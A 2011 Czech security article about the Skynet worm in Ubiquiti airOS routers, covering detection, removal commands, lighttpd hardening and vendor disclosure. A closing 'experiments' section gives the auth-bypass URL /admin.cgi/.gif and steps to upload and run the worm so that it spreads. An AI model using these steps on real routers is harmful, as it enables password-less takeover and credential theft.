Internet Info, s.r.o. Lupa Měšec Podnikatel Root Zdroják DigiZone Slunečnice Vitalia TopDrive KupDnes Navrcholu NovýTarif Dobrý web Weblogy Woko Jagg Computer.cz SK: MojeLinky

Hlavní navigace

Virus v bezdrátových routerech - Skynet

Aktualizováno 2011-12-19 23:00:00 hod.
Před čtrnácti dny jsme začali řešit zvláštní chování našich bezdrátových routerů, které se náhodně restartovaly. Náš údiv přerostl ve zděšení, když jsem zjistili, že v routerech běží procesy, které v novém zařízení nejsou a nikdo z týmu je tam neinstaloval. A tak jsme poznali virus Skynet.

Tweetni to Twitter Jaggni to! Jagg Del.icio.us Delicious

Virus se naštěstí nešíří úplně ve všech bezdrátových routerech, zas tak „dokonalý“ není, a ke svému životu potřebuje následující:

  • Zařízení od Ubiquiti (nanostation, locostation, atd.)
  • firmware airosu verze 3.6.1, 4.x a 5.x včetně aktuálních verzí – firmware využívá GNU/Linux
  • dalším požadavkem je běh webového rozhraní na portu 80

Výše uvedená zařízení jsou poměrně oblíbená lokálními providery internetu, a tak virus postihl či postihne poměrně dost lidí.

Co vlastně virus způsobuje?

Podařilo se nám zachytit i několik modifikací, ale všechny mají společné:

  • samozřejmě vlastní reprodukci
  • odchytávání přihlašovacích cookies do zařízení a jejich sdělení autorovi viru
  • naslouchání síťovému provozu a identifikaci hesel na portu 80 a jejich sdělení autorovi viru

Kromě jiného virus způsobuje náhodné restarty zařízení, pravděpodobně vyčerpáním volné paměti, ale v jedné modifikaci i cílené restarty WiFi routeru.

Jak virus funguje?

Je potřeba říci, že virus zneužívá kombinaci dvou chyb tvůrců firmware pro zařízení. První chybou je, že v uvedených verzí firmware pro zařízení existuje stránka /admin.cgi, která je samozřejmě chráněná heslem pro nastavení zařízení, ale umožňuje nahrání souboru do zařízení či bezostyšné spuštění příkazu jako root přes webové rozhraní. Tuto stránku bych z produkčního firmware určitě vypustil. Druhou chybou je špatně nastavená konfigurace proprietárního modulu airos pro web server lighttpd, který umožní v případě zadání několika znaků za url zobrazení jakékoliv stránky konfigurace bez znalosti hesla.

Těch několik znaků se dá vypátrat v přiloženém souboru s virem skynet.tgz a záměrně nejsou uváděny přímo v článku.

Díky těmto dvou chybám má virus možnost se snadno šířit bez složitého lámání hesel apod., v podstatě otestuje jednu ip adresu za několik sekund a pomocí cyklu zkouší další a další.

Jak zjistit, že mám zavirované zařízení

zkuste se přihlásit do vašeho zařízení a zobrazit stránku http://ip.ad.re.sa/admin.cgi  – pokud stránka neexistuje, máte tam Skynet, on totiž stránku přejmenuje na  adm.cgi.

Přihlaste se do zařízení přes ssh a zkontrolujte, zda máte v adresáři /etc/persistent skrytý adresář  .skynet.

ssh ubnt@ip.ad.re.sa
ls -la /etc/persistent

Dále můžete zkontrolovat pomocí ssh a příkazu ps, zda běží nc, tcpdump či grep a pokud ano, máte zavirované zařízení.

Jak virus odstranit?

Virus se dá odstranit přihlášením do zařízení pomocí ssh a zadáním následujících příkazů.

#místo ubnt musíte zadat své uživatelské jméno
ssh ubnt@ip.ad.re.sa
cd /etc/persistent
rm rc.poststart
rm -rf .skynet
#po odstranění zapište konfiguraci
cfgmtd -w -p /etc/
reboot

Odstraněním viru se však nezabrání další možné infekci. Virus lze také odstranit pomocí stránky /admin.cgi v zařízení a zadáním výše uvedených příkazů, ale najednou – tedy oddělených středníkem, protože po smazání adresáře skynet dojde k nefunkčnosti webserveru (do restartu).

cd /etc/persistent ;  rm rc.poststart ; rm -rf .skynet ;cfgmtd -w -p /etc/ ; reboot

Jak zabezpečit zařízení?

To je trošku složitější, pokud máte firmware verze 3.6.1 nebo 4.0 použijte verzi 3.6 která používá webserver boa a netrpí tedy neduhem číslo 2 a Skynet se vám do zařízení nedostane. Downgrade ale neodstraní virus ze zařízení.

V první fázi přesuňte webserver na jiný port – získáte trochu času. Pak se rozhodněte, buď si upravíte firmware k obrazu svému – stažením SDK ze stránku výrobce, a pějte chválu na GPL, nebo alespoň zabezpečíte web rozhraní tak, aby nefungovala stránka admin.cgi, protože jí nemůže z komprimovaného firmware v zařízení odstranit.

Jednoduchou opravu provedete následovně, pomocí ssh se přihlásíte do zařízení a zadáte příkazy:

echo "echo 'airos.deny += (\"/admin.cgi/.gif\")' >> /etc/lighttpd.conf' > /etc/persistent/rc.poststart"
echo 'kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`' >> /etc/persistent/rc.poststart
chmod +x /etc/persistent/rc.poststart
cfgmtd -w -p /etc/
reboot

Tímto zapíše do souboru, který se spustí po startu zařízení, aby připsal do konfigurace webserveru direktivu, která zabrání zobrazení stránky, kterou zneužívá Skynet, a poté aby ukončil webserver který je již spuštěn. K opětovnému spuštění webserveru dojde automaticky.

Tyto kroky však nejsou úplné a silně doporučuji upravit konfiguraci souboru /usr/etc/lighttpd/lighttpd.conf, a to sekvenci airos.allow a airos.deny na následující:

airos.deny = (".inc", "~", ".tmpl")
airos.allow = ( "/login.cgi", "/ticket.cgi" )
airos.allow += ("/style.css", "/images/bg.png", "/images/ulogo.skv.gif")
airos.allow += ("/login.css")
airos.deny += ( ".cgi/login.cgi", ".cgi/ticket.cgi")
airos.deny += ( ".cgi/style.css", ".cgi/images/bg.png", ".cgi/images/ulogo.skv.gif")
airos.deny += ( ".cgi/login.css")

Nebo upravit přímo airos modul napsaný pomocí C, ale to již nad mé síly. Ani se mi nepodařilo sestavit firmware od výrobce s podporou regulárních výrazů v konfiguraci lighttpd, což by také zjednodušilo zapsání neprůstřelné konfigurace webserveru.

Pokud si budete sestavovat vlastní firmware, doporučuji vyjít pro řady 5.x z SDK 5.3.3 opravit konfiguraci lighttpd a pro jistotu nahradit soubor admin.cgi prázdným souborem. Pro běžné používání zařízení totiž není potřeba.

A hromadné řešení?

Pokud máte několik zařízení, upravte si je ručně, pokud jich máte ale ve správě stovky, pak doporučuji si sestavit vlastní firmware a ten na zařízení nahrát buď pomocí ubnt AirControl centra nebo pomocí skriptů na http://dren.dk/u­bi.html, ale ty potřebují lehce přiohnout.

Samotný virus pro experimenty

Pokud chcete experimentovat, můžete si virus stáhnout (skynet.tgz). Zde je návod, jak ho dostat do zařízení (a aktivovat) bez znalosti hesla. Experimentujete na vlastní nebezpečí!

  1. V ubnt zařízení zobrazit http://ip.ad.re­.sa/admin.cgi/­.gif
  2. nahrát soubor skynet.tgz
  3. mv /tmp/upload/skynet.tgz /etc/persistent/
  4. cd /etc/persistent/ ; tar -xvzf /etc/persistent/skynet.tgz
  5. /etc/persistent/.skynet/install
  6. Zařízení se poté restartuje a virus se začne šířit.

Závěr

Výrobce jsme o chybě informovali již před čtrnácti dny, ale dosud na naše upozornění nereagoval ani nevydal opravný firmware (opravený airos modul pro lighttpd). Naštěstí díky GPL licenci máme přístup ke zdrojovým kódům, a tak jsme si mihli sestavit vlastní firmware, který chybou netrpí.

Aktualizováno

Jsme ve spojení se společností Ubiquiti, která se k celému případu vyjádřila. Podle slov jejich zástupců firma o incidentu vůbec nevěděla, protože e-maily Martina Kratochvíla o bezpečnostní díře končily ve spamu.

TIB2012

       

Firma se tedy o všem prý dozvěděla až z vlastního fóra, kde někdo odkázal náš článek. Podle vyjádření firmy by oprava měla trvat jediný den a uživatelé dostanou novou verzi firmware, která bezpečnostní chybu odstraní.

Aktualizováno podruhé

Jak společnost slíbila, tak učinila, k dispozici je nová verze firmware pro Wi-Fi routery, která opravuje zmíněnou zranitelnost a zabraňuje tak Skynetu i dalším podobným virům zařízení ovládnout.

Martin Kratochvíl

Martin Kratochvíl je administrátorem sítě Skvely.net.

Školení Google+ pro firmy

DW - Školení PPC
  • Jak využít Google+ pro firemní komunikaci a marketing.
  • Čím se liší Google+ od Twitteru a Facebooku z pohledu firemního využití.
  • Jak využít Google+ v souladu s pravidly užívání.
  • Založení Google+ Page (Stránky) krok po kroku, včetně praktických tipů.

Detailní informace o školení Google+ »

Ohodnoťte jako ve škole:
Průměrná známka 1,21

Přehled názorů

Děkuji a "děkuji" za článek
M@v 19. 12. 2011 01:45
Nový
├ 
Re: Děkuji a "děkuji" za článek
Kiddie 19. 12. 2011 02:45
Nový
├ 
Re: Děkuji a "děkuji" za článek
Jenda 19. 12. 2011 03:47
Nový
│
└ 
Re: Děkuji a "děkuji" za článek
pixall 19. 12. 2011 07:11
Nový
│
 
└ 
Re: Děkuji a "děkuji" za článek
Martin Kratochvíl 19. 12. 2011 07:31
Nový
│
 
 
└ 
Re: Děkuji a "děkuji" za článek
pixall 19. 12. 2011 07:39
Nový
│
 
 
 
└ 
Re: Děkuji a "děkuji" za článek
Martin Kratochvíl 19. 12. 2011 07:48
Nový
│
 
 
 
 
└ 
Re: Děkuji a "děkuji" za článek
pixall 19. 12. 2011 08:03
Nový
│
 
 
 
 
 
└ 
Re: Děkuji a "děkuji" za článek
Martin Kratochvíl 19. 12. 2011 08:04
Nový
│
 
 
 
 
 
 
├ 
Re: Děkuji a "děkuji" za článek
pixall 19. 12. 2011 08:28
Nový
│
 
 
 
 
 
 
├ 
Re: Děkuji a "děkuji" za článek
mouse 19. 12. 2011 15:32
Nový
│
 
 
 
 
 
 
│
└ 
Re: Děkuji a "děkuji" za článek
Martin Kratochvíl 19. 12. 2011 15:58
Nový
│
 
 
 
 
 
 
├ 
Re: Děkuji a "děkuji" za článek
Redy 19. 12. 2011 16:32
Nový
│
 
 
 
 
 
 
├ 
Re: Děkuji a "děkuji" za článek
Liquid 19. 12. 2011 17:20
Nový
│
 
 
 
 
 
 
└ 
Re: Děkuji a "děkuji" za článek
lukic 19. 12. 2011 17:49
Nový
│
 
 
 
 
 
 
 
└ 
Re: Děkuji a "děkuji" za článek
Martin Kratochvíl 19. 12. 2011 18:23
Nový
│
 
 
 
 
 
 
 
 
├ 
Re: Děkuji a "děkuji" za článek
lukic 19. 12. 2011 18:45
Nový
│
 
 
 
 
 
 
 
 
└ 
Re: Děkuji a "děkuji" za článek
MilanK 19. 12. 2011 20:10
Nový
│
 
 
 
 
 
 
 
 
 
└ 
opraveno
xp 20. 12. 2011 06:53
Nový
└ 
Re: Děkuji a "děkuji" za článek
Franta Kučera 19. 12. 2011 19:57
Nový
 
└ 
Re: Děkuji a "děkuji" za článek
Karel 20. 12. 2011 10:53
Nový
 
 
└ 
Re: Děkuji a "děkuji" za článek
milo 20. 12. 2011 13:03
Nový
 
 
 
└ 
Re: Děkuji a "děkuji" za článek
Pavel Šimerda 21. 12. 2011 21:07
Nový
Je autorem viru cech ?
Martin Kukal 19. 12. 2011 09:12
Nový
└ 
Re: Je autorem viru cech ?
Aleš 5. 1. 21:28
Nový
Je autorem viru cech ?
Martin Kukal 19. 12. 2011 09:12
Nový
├ 
Re: Je autorem viru cech ?
Martin Kratochvíl 19. 12. 2011 09:40
Nový
│
├ 
Re: Je autorem viru cech ?
sxc 19. 12. 2011 13:44
Nový
│
│
├ 
Re: Je autorem viru cech ?
Trident 19. 12. 2011 14:38
Nový
│
│
│
├ 
Re: Je autorem viru cech ?
hu 19. 12. 2011 14:54
Nový
│
│
│
└ 
Re: Je autorem viru cech ?
sxc 19. 12. 2011 15:02
Nový
│
│
│
 
└ 
Re: Je autorem viru cech ?
Ondřej Caletka 19. 12. 2011 15:17
Nový
│
│
└ 
Re: Je autorem viru cech ?
Zdenek - 19. 12. 2011 22:33
Nový
│
└ 
Re: Je autorem viru cech ?
Martin Stepanek 19. 12. 2011 20:04
Nový
└ 
Re: Je autorem viru cech ?
Mirek 20. 12. 2011 21:15
Nový
Re: Virus v bezdrátových routerech - Skynet
Martin Kratochvíl 19. 12. 2011 09:45
Nový
NanoStation5 verze 4.0
Vladimír Bílek 19. 12. 2011 09:47
Nový
└ 
Re: NanoStation5 verze 4.0
Martin Kratochvíl 19. 12. 2011 09:50
Nový
Nestačím se divit - to jste administrátoři?
muf 19. 12. 2011 10:43
Nový
├ 
Re: Nestačím se divit - to jste administrátoři?
Martin Kratochvíl 19. 12. 2011 10:52
Nový
│
└ 
Re: Nestačím se divit - to jste administrátoři?
Trident 19. 12. 2011 12:51
Nový
└ 
Re: Nestačím se divit - to jste administrátoři?
Trident 19. 12. 2011 13:30
Nový
akurat si chystam novy firmware.....
orso 19. 12. 2011 10:53
Nový
├ 
Re: akurat si chystam novy firmware.....
Martin Kratochvíl 19. 12. 2011 11:06
Nový
│
└ 
Re: akurat si chystam novy firmware.....
Martin Kratochvíl 19. 12. 2011 11:10
Nový
│
 
└ 
Re: akurat si chystam novy firmware.....
orso 19. 12. 2011 11:44
Nový
│
 
 
└ 
Re: akurat si chystam novy firmware.....
Martin Kratochvíl 19. 12. 2011 11:51
Nový
│
 
 
 
└ 
Re: akurat si chystam novy firmware.....
orso 19. 12. 2011 12:07
Nový
│
 
 
 
 
└ 
Re: akurat si chystam novy firmware.....
Martin Kratochvíl 19. 12. 2011 12:21
Nový
└ 
Re: akurat si chystam novy firmware.....
orso 19. 12. 2011 12:21
Nový
vlastník
Ares 19. 12. 2011 11:50
Nový
├ 
Re: vlastník
Kimot 19. 12. 2011 11:57
Nový
│
└ 
Re: vlastník
ares 19. 12. 2011 12:10
Nový
└ 
Re: vlastník
lubie 19. 12. 2011 19:44
Nový
hmmm
magy 19. 12. 2011 12:18
Nový
forum ubiquiti
ares 19. 12. 2011 12:44
Nový
APEL!
magy 19. 12. 2011 12:46
Nový
├ 
Re: APEL!
DgBd 19. 12. 2011 12:57
Nový
│
└ 
Re: APEL!
magy 19. 12. 2011 13:07
Nový
├ 
Re: APEL!
JiUch 19. 12. 2011 13:02
Nový
└ 
Re: APEL!
Trident 19. 12. 2011 13:06
Nový
 
├ 
Re: APEL!
magy 19. 12. 2011 13:16
Nový
 
│
├ 
Re: APEL!
jas 19. 12. 2011 13:29
Nový
 
│
└ 
Re: APEL!
magy 19. 12. 2011 13:54
Nový
 
│
 
├ 
Re: APEL!
No comment99 19. 12. 2011 14:13
Nový
 
│
 
│
├ 
Re: APEL!
Trident 19. 12. 2011 15:03
Nový
 
│
 
│
└ 
Re: APEL!
lukic 20. 12. 2011 13:40
Nový
 
│
 
└ 
Re: APEL!
magy 19. 12. 2011 14:20
Nový
 
│
 
 
├ 
Re: APEL!
CLAn-X 19. 12. 2011 17:21
Nový
 
│
 
 
└ 
Re: APEL!
Martin Stepanek 19. 12. 2011 19:22
Nový
 
└ 
Re: APEL!
DgBd 19. 12. 2011 14:37
Nový
 
 
└ 
Re: APEL!
Trident 19. 12. 2011 15:00
Nový
Terminátor
karlos 19. 12. 2011 14:24
Nový
└ 
Re: Terminátor
Radek Hladík 19. 12. 2011 14:37
Nový
IP ve scriptu je jen prostředník
ares 19. 12. 2011 14:35
Nový
└ 
Re: IP ve scriptu je jen prostředník
jas 20. 12. 2011 10:53
Nový
nekdo od jihlavy
martas 19. 12. 2011 16:08
Nový
Odvirovavaci skript
Calebcz 19. 12. 2011 18:55
Nový
rychle to narvat konkurenci ať je sranda
nemám 19. 12. 2011 20:21
Nový
UBNT - čínskej aušus
imbecil 19. 12. 2011 20:35
Nový
├ 
Re: UBNT - čínskej aušus
Imbecil ty si AUŠUS 19. 12. 2011 20:51
Nový
├ 
Re: UBNT - čínskej aušus
Honz 19. 12. 2011 21:01
Nový
└ 
Re: UBNT - čínskej aušus
Trident 19. 12. 2011 21:23
Nový
 
└ 
Cisco z Číny
druhé Já pana Houby 20. 12. 2011 21:54
Nový
 
 
└ 
Re: Cisco z Číny
Trident 20. 12. 2011 23:53
Nový
Starší firmware imuní?
Martin Stepanek 19. 12. 2011 20:56
Nový
├ 
Re: Starší firmware imuní?
magy 19. 12. 2011 21:31
Nový
└ 
Re: Starší firmware imuní?
flack 20. 12. 2011 08:24
Nový
 
└ 
Re: Starší firmware imuní?
Martin Stepanek 20. 12. 2011 11:38
Nový
Nový firmware - 5.3.5
Pechy 19. 12. 2011 21:55
Nový
└ 
Re: Nový firmware - 5.3.5
Honz 19. 12. 2011 22:03
Nový
 
└ 
Re: Nový firmware - 5.3.5
MilanK 19. 12. 2011 22:40
Nový
 
 
└ 
Re: Nový firmware - 5.3.5
Brumla 19. 12. 2011 22:48
Nový
 
 
 
└ 
Re: Nový firmware - 5.3.5
bLeSs 20. 12. 2011 00:33
Nový
 
 
 
 
└ 
Re: Nový firmware - 5.3.5
brumla 20. 12. 2011 08:31
Nový
K cemu byl virus urcen - kradeni FB cookies!
upalse@seznam.cz 20. 12. 2011 00:07
Nový
└ 
Re: K cemu byl virus urcen - kradeni FB cookies!
jas 20. 12. 2011 10:45
Nový
šíření
David 20. 12. 2011 09:05
Nový
└ 
Re: šíření
Martin Svoboda 20. 12. 2011 09:07
Nový
support
ksfj 20. 12. 2011 11:09
Nový
└ 
Re: support
lukic 20. 12. 2011 13:46
Nový
Dotaz
Max 20. 12. 2011 19:55
Nový
Skynet i na DLinku
Nalim27 21. 12. 2011 14:20
Nový
├ 
Re: Skynet i na DLinku
Ivan Stokurev 21. 12. 2011 14:46
Nový
└ 
Re: Skynet i na DLinku
Tom22 21. 12. 2011 14:51
Nový
dira jako hovado
aaaddsadsa 21. 12. 2011 20:30
Nový
díky za download link :)
Darkside :) 28. 12. 2011 14:32
Nový
Nojo, zasranej linux
w 10. 1. 22:19
Nový
Upřesnění???
Jaroslav52 22. 1. 12:38
Nový
       

Tento text je již více než dva měsíce starý. Chcete-li na něj reagovat v diskusi, pravděpodobně vám již nikdo neodpoví. Pro řešení aktuálních problémů doporučujeme využít naše diskusní fórum.

Zasílat nově přidané příspěvky e-mailem